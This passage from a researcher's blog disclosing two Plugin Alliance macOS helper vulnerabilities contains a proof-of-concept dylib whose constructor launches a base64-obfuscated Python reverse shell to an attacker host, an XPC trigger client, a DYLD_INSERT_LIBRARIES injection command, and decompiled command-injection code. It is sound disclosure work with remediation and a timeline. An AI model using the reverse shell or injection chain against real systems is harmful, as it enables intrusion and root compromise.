The helper is triggered through an XPC interface, so the PoC includes a tiny client that simply connects to the <code class="language-plaintext highlighter-rouge">com.plugin-alliance.pa-installationhelper</code> service. Connecting is enough to cause the helper to launch, which gives us a reliable execution point.</li>
  <li><strong>An execution step that sets <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code></strong><br />
When launching the XPC client, the environment variable is set to point at the malicious dylib. Because the helper lacks hardened runtime and has no <code class="language-plaintext highlighter-rouge">__RESTRICT</code> segment, the dynamic loader doesn’t block this, and the helper is started with the injected library attached.</li>
</ol>

<h4 id="malicious-dylib">Malicious dylib</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;mach/mach.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;syslog.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;libproc.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span>
<span class="n">__attribute__</span><span class="p">((</span><span class="n">constructor</span><span class="p">))</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">myconstructor</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/tmp/dylib_python_shell"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"=== DYLIB PYTHON SHELL ATTEMPT ===</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"PID: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">getpid</span><span class="p">());</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"UID: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">getuid</span><span class="p">());</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"EUID: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">geteuid</span><span class="p">());</span>

        <span class="c1">// Attempt Python reverse shell using base64 encoding</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"Attempting Python reverse shell...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

        <span class="n">system</span><span class="p">(</span><span class="err">“</span><span class="n">echo</span>
<span class="err">'</span><span class="n">aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5F</span>
<span class="n">VCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIkFUVEFDS0VSSVAiLDEzMzcpKTtvcy5kd</span>
<span class="n">XAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKS</span>
<span class="n">wyKTtzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7</span><span class="err">'</span> <span class="o">|</span> <span class="n">base64</span> <span class="o">-</span><span class="n">d</span>
<span class="o">|</span> <span class="n">python3</span> <span class="o">&amp;</span><span class="s">");</span><span class="err">

</span><span class="s">        fprintf(f, "</span><span class="n">Python</span> <span class="n">reverse</span> <span class="n">shell</span> <span class="n">command</span> <span class="n">executed</span><span class="err">\</span><span class="n">n</span><span class="s">");</span><span class="err">
</span><span class="s">        fclose(f);</span><span class="err">
</span><span class="s">    }</span><span class="err">

</span><span class="s">    printf("</span><span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Python</span> <span class="n">shell</span> <span class="n">dylib</span> <span class="n">constructor</span> <span class="n">called</span><span class="err">\</span><span class="n">n</span><span class="s">");</span><span class="err">
</span><span class="s">    syslog(LOG_ERR, "</span><span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Python</span> <span class="n">shell</span> <span class="n">dylib</span> <span class="n">constructor</span> <span class="n">called</span><span class="err">\</span><span class="n">n</span><span class="s">");</span><span class="err">
</span><span class="s">}</span><span class="err">
</span></code></pre></div></div>

<h4 id="xpc-client">XPC Client</h4>

<p>To trigger the vulnerable helper, I used a lightweight Objective-C XPC client. The client doesn’t need to perform any privileged actions.Simply connecting to the service is enough to make the <code class="language-plaintext highlighter-rouge">InstallationHelper</code> launch, which in turn loads the injected dylib.</p>

<p>The client connects to the helper’s Mach service and invokes a harmless method (<code class="language-plaintext highlighter-rouge">getVersionWithReply:</code>). This is just a convenient way to create activity inside the helper so it loads normally, giving the injected dylib a chance to execute its constructor.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
</span>
<span class="k">static</span> <span class="n">NSString</span><span class="o">*</span> <span class="n">XPCHelperMachServiceName</span> <span class="o">=</span> <span class="err">@</span><span class="s">"com.plugin-alliance.pa-installationhelper"</span><span class="p">;</span>

<span class="err">@</span><span class="n">protocol</span> <span class="n">InstallationHelperProtocol</span>
<span class="o">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">getVersionWithReply</span><span class="o">:</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="n">v1</span><span class="p">;</span>
<span class="err">@</span><span class="n">end</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="err">@</span><span class="n">autoreleasepool</span> <span class="p">{</span>
        <span class="n">NSLog</span><span class="p">(</span><span class="err">@</span><span class="s">"[+] Testing dylib injection with service connection..."</span><span class="p">);</span>

        <span class="c1">// Connect to service (triggers dylib injection)</span>
        <span class="n">NSXPCConnection</span><span class="o">*</span> <span class="n">connection</span> <span class="o">=</span> <span class="p">[[</span><span class="n">NSXPCConnection</span> <span class="n">alloc</span><span class="p">]</span>
            <span class="nl">initWithMachServiceName:</span><span class="n">XPCHelperMachServiceName</span> <span class="n">options</span><span class="o">:</span><span class="mh">0x1000</span><span class="p">];</span>

        <span class="n">NSXPCInterface</span><span class="o">*</span> <span class="n">interface</span> <span class="o">=</span>
            <span class="p">[</span><span class="n">NSXPCInterface</span> <span class="n">interfaceWithProtocol</span><span class="o">:</span><span class="err">@</span><span class="n">protocol</span><span class="p">(</span><span class="n">InstallationHelperProtocol</span><span class="p">)];</span>

        <span class="p">[</span><span class="n">connection</span> <span class="n">setRemoteObjectInterface</span><span class="o">:</span><span class="n">interface</span><span class="p">];</span>
        <span class="p">[</span><span class="n">connection</span> <span class="n">resume</span><span class="p">];</span>

        <span class="n">id</span> <span class="n">obj</span> <span class="o">=</span> <span class="p">[</span><span class="n">connection</span> <span class="n">remoteObjectProxyWithErrorHandler</span><span class="o">:^</span><span class="p">(</span><span class="n">NSError</span><span class="o">*</span> <span class="n">error</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">NSLog</span><span class="p">(</span><span class="err">@</span><span class="s">"[-] Connection failed: %@"</span><span class="p">,</span> <span class="n">error</span><span class="p">);</span>
        <span class="p">}];</span>

        <span class="n">NSLog</span><span class="p">(</span><span class="err">@</span><span class="s">"[+] Connected to service successfully!"</span><span class="p">);</span>

        <span class="c1">// Trigger service activity</span>
        <span class="p">[</span><span class="n">obj</span> <span class="n">getVersionWithReply</span><span class="o">:^</span><span class="p">(</span><span class="n">NSString</span> <span class="o">*</span><span class="n">version</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">NSLog</span><span class="p">(</span><span class="err">@</span><span class="s">"[+] Service version: %@"</span><span class="p">,</span> <span class="n">version</span><span class="p">);</span>
        <span class="p">}];</span>

        <span class="p">[</span><span class="n">NSThread</span> <span class="n">sleepForTimeInterval</span><span class="o">:</span><span class="mi">2</span><span class="p">.</span><span class="mi">0</span><span class="n">f</span><span class="p">];</span>

        <span class="n">NSLog</span><span class="p">(</span><span class="err">@</span><span class="s">"[+] Test complete. Check for dylib injection artifacts."</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>To demonstrate the injection, the dylib is pre-loaded into the privileged helper by setting <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> before running the client:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">pwd</span><span class="si">)</span><span class="s2">/injection_dylib.dylib"</span> ./dylib-injection
</code></pre></div></div>

<p align="center"> 
<img src="5.png" width="1000" />
</p>

<p>Now, on modern macOS, SIP normally strips <code class="language-plaintext highlighter-rouge">DYLD_*</code> variables when launching system services. But because the <code class="language-plaintext highlighter-rouge">InstallationHelper</code> binary lacks hardened runtime and has no <code class="language-plaintext highlighter-rouge">__RESTRICT</code> segment, macOS doesn’t block or validate the injected library. As a result, the helper launches with the malicious dylib attached, and the constructor executes inside a root-owned process during the XPC interaction.</p>

<p>Once the dylib ran, it made an outbound connection back to the listener!</p>

<p align="center"> 
<img src="6.png" width="1000" />
</p>

<p>The session was running with the same user as the launching user rather than as root. This is expected with SIP enabled, macOS strips dangerous <code class="language-plaintext highlighter-rouge">DYLD_*</code> variables when interacting with system level helpers. However, the fact that the dylib was loaded at all confirms that the helper does zero environment sanitization on its own, and its lack of hardened runtime or a <code class="language-plaintext highlighter-rouge">__RESTRICT</code> segment means it remains vulnerable on SIP disabled or misconfigured systems.</p>

<p>To get a clearer picture of what the helper was doing internally, I monitored system logs while repeatedly triggering connections to the <code class="language-plaintext highlighter-rouge">com.plugin-alliance.pa-installationhelper</code> service. The logs showed the helper accepting incoming XPC connections without performing any kind of validation or environment cleanup.</p>

<p align="center"> 
<img src="7.png" width="1000" />
</p>

<h2 id="remediation">Remediation</h2>

<p>To properly fix this issue, the <code class="language-plaintext highlighter-rouge">InstallationHelper</code> service needs to be hardened so it can’t be tricked into loading untrusted libraries. The following changes would close off the injection path:</p>

<ul>
  <li>Enable hardened runtime when compiling the helper. This forces macOS to validate any libraries the process loads and blocks all <code class="language-plaintext highlighter-rouge">DYLD_*</code> environment variables by default.</li>
  <li>Add a <code class="language-plaintext highlighter-rouge">__RESTRICT</code> segment to the Mach-O binary. This prevents DYLD injection tricks from working, even if the environment is tampered with.</li>
  <li>Sanitize the environment at startup, clearing variables like <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> and anything else in the <code class="language-plaintext highlighter-rouge">DYLD_*</code> family before the helper executes.</li>
  <li>Use sandboxing or additional process isolation where practical to limit what the helper can interact with.</li>
</ul>

<p>Putting these protections in place make sure that malicious dylibs can’t be injected even on systems where SIP is disabled or misconfigured.</p>

<h2 id="closing-thoughts">Closing Thoughts</h2>

<p>This vulnerability is a good reminder that even small helper tools can introduce outsized risk when they run with elevated privileges. In this case, the <code class="language-plaintext highlighter-rouge">InstallationHelper</code> wasn’t doing anything obviously dangerous on the surface but the lack of hardened runtime, missing <code class="language-plaintext highlighter-rouge">__RESTRICT</code> segment, and unsanitized environment variables created the perfect conditions for reliable dylib injection.</p>

<p>None of this is complicated exploitation. It’s simply the result of a privileged binary shipping without the modern protections macOS expects. Once those safeguards are missing, normal system mechanisms like SIP become the only line of defense, and that’s never a position a privileged component should rely on.</p>

<p>In the next part of this series, I’ll break down a second vulnerability I discovered during the same research, which builds on some of the themes from the Acustica Audio article.</p>

<p>Happy hacking :)</p>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<table style="width:100%; border-collapse: collapse; border: 1px solid #4a4d56;">
  <thead>
    <tr style="background-color:#222;">
      <th style="text-align:left; padding:8px;">Date</th>
      <th style="text-align:left; padding:8px;">Action</th>
    </tr>
  </thead>
  <tbody>
    <tr><td style="padding:8px;">August 1, 2025</td><td style="padding:8px;">Vulnerability discovered during local security analysis of Plugin Alliance Installation Manager and its helper components.</td></tr>
    <tr><td style="padding:8px;">August 1, 2025</td><td style="padding:8px;">Initial technical validation and proof-of-concept developed confirming dylb injection</td></tr>
    <tr><td style="padding:8px;">August 2, 2025</td><td style="padding:8px;">Full vulnerability report prepared, including reproduction steps and secure remediation guidance.</td></tr>
    <tr><td style="padding:8px;">August 2, 2025</td><td style="padding:8px;">Responsible disclosure email sent to Plugin Alliance with attached reports and researcher PGP key requesting a secure communication channel.</td></tr>
    <tr><td style="padding:8px;">August 18, 2025</td><td style="padding:8px;">No acknowledgment received from the vendor. Escalation attempt submitted to MITRE CVE Program for coordination assistance.</td></tr>
    <tr><td style="padding:8px;">November 19, 2025</td><td style="padding:8px;">No vendor or CNA response received. Proceeding with public disclosure in accordance with a 90-day disclosure policy.</td></tr>
	<tr><td style="padding:8px;">November 28, 2025</td><td style="padding:8px;">CNA response received. CVE ID reserved: CVE-2025-62686</td></tr>
	<tr><td style="padding:8px;">December 3, 2025</td><td style="padding:8px;">CVE ID Published: CVE-2025-62686</td></tr>
  </tbody>
</table>]]></content><author><name>Simon Bertrand</name></author><category term="macOS" /><category term="Privesc" /><category term="dylib" /><category term="injection" /><summary type="html"><![CDATA[CVE-2025-62686 - Plugin Alliance - InstallationHelper dylib Injection on macOS]]></summary></entry><entry><title type="html">CVE-2025-55076 - Plugin Alliance - InstallationHelper XPC Service Local Privilege Escalation</title><link href="/Plugin-Alliance-HelperTool-XPC-Service-Local-Privilege-Escalation/" rel="alternate" type="text/html" title="CVE-2025-55076 - Plugin Alliance - InstallationHelper XPC Service Local Privilege Escalation" /><published>2025-11-02T03:00:00-05:00</published><updated>2025-11-02T03:00:00-05:00</updated><id>/Plugin-Alliance-HelperTool-XPC-Service-Local-Privilege-Escalation</id><content type="html" xml:base="/Plugin-Alliance-HelperTool-XPC-Service-Local-Privilege-Escalation/"><![CDATA[<p><strong>Note:</strong> <em>The intent of this publication is to promote remediation and improve the security posture of the affected software. This disclosure follows the 90-day industry standard timeline for responsible reporting. Want the details? Keep scrolling. The full timeline and contact history are available further down the page.</em></p>

<h2 id="introduction">Introduction</h2>

<p><em>This is post 2 of 2 in my security review of the Plugin Alliance Installation Manager.</em></p>

<p>Hello again!</p>

<p>This write-up covers another issue I found while looking into Plugin Alliance’s <code class="language-plaintext highlighter-rouge">InstallationHelper</code> service on macOS.</p>

<p>While digging through its XPC interface and behavior, I found that the service accepts connections from any local process, skips proper authorization checks, and blindly passes malicious input straight into shell commands. Put together, that means an unprivileged user can get the helper to run arbitrary commands as root.</p>

<p>In this article, I’ll walk through how the vulnerability works, how the service can be reached, and what the exploitation path looks like in practice.</p>

<h2 id="vulnerability-overview">Vulnerability Overview</h2>

<p>The <code class="language-plaintext highlighter-rouge">HelperTool</code> is a privileged macOS XPC service bundled with the Aquarius Desktop application. Its purpose is to handle system level operations such as installing audio plugin components, managing licenses, and modifying protected directories that require administrative privileges.</p>

<p>During testing, I noticed that the <code class="language-plaintext highlighter-rouge">HelperTool</code> service was exposing a publicly accessible XPC interface that fails to properly authenticate the calling process. As a result, any local user on the system can send arbitrary messages to the <code class="language-plaintext highlighter-rouge">HelperTool</code>, causing it to execute privileged actions on their behalf.</p>

<p>This misconfiguration leads to a Local Privilege Escalation (LPE). An attacker with standard user permissions could exploit this flaw to gain root access or modify protected system files bypassing macOS’s security model.</p>

<h2 id="technical-analysis">Technical analysis</h2>

<p>Now, let me explain why the <code class="language-plaintext highlighter-rouge">HelperTool</code> is vulnerable, what I observed while reversing it, and why the bug leads to local privilege escalation.</p>

<p>The Plugin Alliance <code class="language-plaintext highlighter-rouge">HelperTool</code> is implemented as a privileged XPC service that runs with elevated privileges (the helper binary is installed and launched by the main application/installer). The helper exposes XPC methods intended to perform privileged operations on behalf of the main process (for example: install or remove files under protected locations, write license files, run installer commands or update the application).</p>

<p>During static and dynamic analysis I observed two primary implementation mistakes that together enable the escalation.</p>

<p>The helper accepts incoming XPC messages without verifying the identity or privileges of the caller. Proper XPC security normally relies on checking the caller’s audit token (e.g. <code class="language-plaintext highlighter-rouge">audit_token_t</code>) to confirm the bundle identifier or <code class="language-plaintext highlighter-rouge">PID</code> matches an expected trusted client or using Authorization Services / <code class="language-plaintext highlighter-rouge">SMJobBless</code> style mechanisms where only a signed and authorized process may request privileged operations.</p>

<p>In this helper, the code path that handles incoming requests does not perform an authorization check. Any local process that can connect to the helper’s Mach/XPC service is treated as trusted and may request privileged actions.</p>

<p>Also, the helper constructs command strings and forwards them to the system shell (or otherwise executes them) using APIs that are unsafe when supplied untrusted input. Concatenating user controlled data into a string passed to <code class="language-plaintext highlighter-rouge">system()</code> (or equivalent) allows an attacker to inject shell syntax and control execution flow… which turns the XPC method into a remote command execution when the caller is able to send arbitrary arguments.</p>

<p>Combined with the previous issue (no client authentication), this creates a path where a local, unprivileged user can trigger the helper to execute arbitrary commands with the elevated privileges of the helper process.</p>

<h3 id="insecure-xpc-connection-handling">Insecure XPC Connection Handling</h3>

<p>The <code class="language-plaintext highlighter-rouge">HelperTool</code> service registers an XPC listener and relies on <code class="language-plaintext highlighter-rouge">listener:shouldAcceptNewConnection:</code> to determine whether to allow new clients. In a secure design, this function should enforce strong client validation to verify the connecting process’s code signature, bundle identifier, or Team ID via the audit token.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* @class InstallationHelper */</span>
<span class="o">-</span><span class="p">(</span><span class="n">BOOL</span><span class="p">)</span><span class="n">listener</span><span class="o">:</span><span class="p">(</span><span class="n">NSXPCListener</span> <span class="o">*</span><span class="p">)</span><span class="n">listener</span> <span class="n">shouldAcceptNewConnection</span><span class="o">:</span><span class="p">(</span><span class="n">NSXPCConnection</span> <span class="o">*</span><span class="p">)</span><span class="n">newConnection</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">listener</span> <span class="o">==</span> <span class="n">self</span><span class="p">.</span><span class="n">listener</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">newConnection</span> <span class="o">!=</span> <span class="n">nil</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">NSXPCInterface</span> <span class="o">*</span><span class="n">iface</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSXPCInterface</span> <span class="n">interfaceWithProtocol</span><span class="o">:</span><span class="err">@</span><span class="n">protocol</span><span class="p">(</span><span class="n">InstallationHelperProtocol</span><span class="p">)];</span>
            <span class="p">[</span><span class="n">newConnection</span> <span class="n">setExportedInterface</span><span class="o">:</span><span class="n">iface</span><span class="p">];</span>
            <span class="p">[</span><span class="n">newConnection</span> <span class="n">setExportedObject</span><span class="o">:</span><span class="n">self</span><span class="p">];</span>
            <span class="p">[</span><span class="n">newConnection</span> <span class="n">resume</span><span class="p">];</span>
            <span class="k">return</span> <span class="n">YES</span><span class="p">;</span> <span class="c1">// Always accepts</span>
            <span class="c1">// […]</span>
</code></pre></div></div>

<h5 id="no-client-authentication"><strong>No Client Authentication</strong></h5>

<p>The function checks only that <code class="language-plaintext highlighter-rouge">listener == self.listener</code> and that the <code class="language-plaintext highlighter-rouge">newConnection</code> object is non‑null. Beyond these checks, no verification of the connecting process is performed.</p>

<h5 id="no-audit-token-validation"><strong>No Audit Token Validation</strong></h5>

<p>macOS provides an audit token on each XPC connection that includes the client’s <code class="language-plaintext highlighter-rouge">PID</code>, <code class="language-plaintext highlighter-rouge">UID</code>, <code class="language-plaintext highlighter-rouge">GID</code>, and code‑signing identity. Secure services (e.g., Apple’s own privileged helpers) use this to ensure only trusted, signed clients can connect. This helper completely ignores the audit token.</p>

<h5 id="exposed-privileged-interface"><strong>Exposed Privileged Interface</strong></h5>

<p>As soon as a connection is accepted, the service immediately sets its exported interface to HelperTool and resumes the connection. This makes the entire privileged API surface accessible to any local process, malicious or not.</p>

<p>Because there is no authentication barrier, any local process can connect to the HelperTool service and invoke its privileged methods. Combined with the <code class="language-plaintext highlighter-rouge">checkAuthorization:</code> logic, this reduces the attack surface to “any user to root”.</p>

<h3 id="broken-authorization-logic">Broken Authorization Logic</h3>

<p>The helper attempts to enforce authorization using Apple’s Security.framework, but the implementation is flawed. Below is the relevant decompiled code from <code class="language-plaintext highlighter-rouge">checkAuthorization:command:</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* @class HelperTool */</span>
<span class="o">-</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">checkAuthorization</span><span class="o">:</span><span class="p">(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="n">authData</span> <span class="n">command</span><span class="o">:</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">cmd</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">cmd</span> <span class="o">==</span> <span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">__assert_rtn</span><span class="p">(</span><span class="s">"command != nil"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">authData</span> <span class="o">==</span> <span class="n">nil</span> <span class="o">||</span> <span class="p">[</span><span class="n">authData</span> <span class="n">length</span><span class="p">]</span> <span class="o">!=</span> <span class="mh">0x20</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="p">[</span><span class="n">NSError</span> <span class="n">errorWithDomain</span><span class="o">:*</span><span class="n">_NSOSStatusErrorDomain</span> <span class="n">code</span><span class="o">:-</span><span class="mi">50</span> <span class="n">userInfo</span><span class="o">:</span><span class="n">nil</span><span class="p">];</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">AuthorizationCreateFromExternalForm</span><span class="p">([</span><span class="n">authData</span> <span class="n">bytes</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">authRef</span><span class="p">)</span> <span class="o">!=</span> <span class="n">errAuthorizationSuccess</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="p">[</span><span class="n">NSError</span> <span class="n">errorWithDomain</span><span class="o">:*</span><span class="n">_NSOSStatusErrorDomain</span> <span class="n">code</span><span class="o">:</span><span class="n">cmd</span> <span class="n">userInfo</span><span class="o">:</span><span class="n">nil</span><span class="p">];</span>
    <span class="p">}</span>

    <span class="c1">// Retrieves the authorization right string for the requested command</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">right</span> <span class="o">=</span> <span class="p">[[</span><span class="n">Common</span> <span class="n">authorizationRightForCommand</span><span class="o">:</span><span class="n">cmd</span><span class="p">]</span> <span class="n">UTF8String</span><span class="p">];</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">right</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">__assert_rtn</span><span class="p">(</span><span class="s">"oneRight.name != NULL"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">// AuthorizationCopyRights is called with NULL reference</span>
    <span class="n">OSStatus</span> <span class="n">result</span> <span class="o">=</span> <span class="n">AuthorizationCopyRights</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">rights</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">kAuthorizationFlagDefaults</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">!=</span> <span class="n">errAuthorizationSuccess</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="p">[</span><span class="n">NSError</span> <span class="n">errorWithDomain</span><span class="o">:*</span><span class="n">_NSOSStatusErrorDomain</span> <span class="n">code</span><span class="o">:</span><span class="n">result</span> <span class="n">userInfo</span><span class="o">:</span><span class="n">nil</span><span class="p">];</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// Authorization check passes</span>
<span class="p">}</span>
</code></pre></div></div>

<h5 id="superficial-input-validation">Superficial Input Validation</h5>

<p>The function checks that <code class="language-plaintext highlighter-rouge">authData</code> is 32 bytes (<code class="language-plaintext highlighter-rouge">0x20</code>) long, which corresponds to an <code class="language-plaintext highlighter-rouge">AuthorizationExternalForm</code>. However, this validation is syntactic only. It does not verify that the token is genuine or unexpired.</p>

<h5 id="broken-authorization-reference">Broken Authorization Reference</h5>

<p>Even if <code class="language-plaintext highlighter-rouge">AuthorizationCreateFromExternalForm</code> succeeds, the code never actually uses the resulting <code class="language-plaintext highlighter-rouge">AuthorizationRef</code>. Instead, it calls <code class="language-plaintext highlighter-rouge">AuthorizationCopyRights</code> with a <code class="language-plaintext highlighter-rouge">NULL</code> pointer:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">AuthorizationCopyRights</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">rights</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">flags</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</code></pre></div></div>

<p>Passing <code class="language-plaintext highlighter-rouge">NULL</code> here effectively skips validation and results in the function returning success regardless of the caller’s privileges.</p>

<h5 id="assertions-instead-of-enforcement">Assertions Instead of Enforcement</h5>

<p>The code contains multiple calls to <code class="language-plaintext highlighter-rouge">__assert_rtn(...)</code> for critical conditions (<code class="language-plaintext highlighter-rouge">command != nil, oneRight.name != NULL</code>). In release builds, these assertions are either stripped out or only generate runtime exceptions if triggered. They do not provide meaningful security enforcement.</p>

<p>This means that any local client can present any blob resembling an external authorization form (or even bypass this entirely) and still pass the check. The helper effectively grants root level privileges without requiring a valid <code class="language-plaintext highlighter-rouge">AuthorizationRef</code> or rights…</p>

<h3 id="unsafe-command-execution-in-exchangeappwithreply">Unsafe Command Execution in <code class="language-plaintext highlighter-rouge">exchangeAppWithReply:</code></h3>

<p>The most critical flaw is in the HelperTool’s <code class="language-plaintext highlighter-rouge">exchangeAppWithReply:</code> method. Decompiled code shows the following flow:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* @class InstallationHelper */</span>
<span class="o">-</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">exchangeAppWithReply</span><span class="o">:</span><span class="p">...</span> <span class="p">{</span>
    <span class="p">...</span>
    <span class="n">r0</span> <span class="o">=</span> <span class="p">[</span><span class="n">arg0</span> <span class="n">checkAuthorization</span><span class="o">:</span><span class="n">r24</span> <span class="n">command</span><span class="o">:</span><span class="n">arg1</span><span class="p">];</span>
    <span class="p">...</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">r0</span> <span class="o">==</span> <span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// Convert attacker-supplied NSStrings into std::string</span>
        <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">appName</span> <span class="o">=</span> <span class="p">[</span><span class="n">arg2</span> <span class="n">UTF8String</span><span class="p">];</span>
        <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">oldAppName</span> <span class="o">=</span> <span class="p">[</span><span class="n">arg3</span> <span class="n">UTF8String</span><span class="p">];</span>
        <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">appPath</span> <span class="o">=</span> <span class="p">[</span><span class="n">arg5</span> <span class="n">UTF8String</span><span class="p">];</span> <span class="c1">// attacker-controlled</span>
        <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">userName</span> <span class="o">=</span> <span class="p">[</span><span class="n">arg6</span> <span class="n">UTF8String</span><span class="p">];</span> <span class="c1">// attacker-controlled</span>
        <span class="p">...</span>
        <span class="c1">// Construct command string</span>
        <span class="n">var_190</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">::</span><span class="n">append</span><span class="p">(...,</span> <span class="n">appPath</span><span class="p">,</span> <span class="p">...);</span>
        <span class="p">...</span>
        <span class="n">system</span><span class="p">(</span><span class="n">var_190</span><span class="p">);</span> <span class="c1">// first execution sink</span>
        <span class="p">...</span>
        <span class="n">system</span><span class="p">(</span><span class="n">var_190</span><span class="p">);</span> <span class="c1">// second execution sink</span>
        <span class="p">}</span>
    <span class="p">}</span>
</code></pre></div></div>

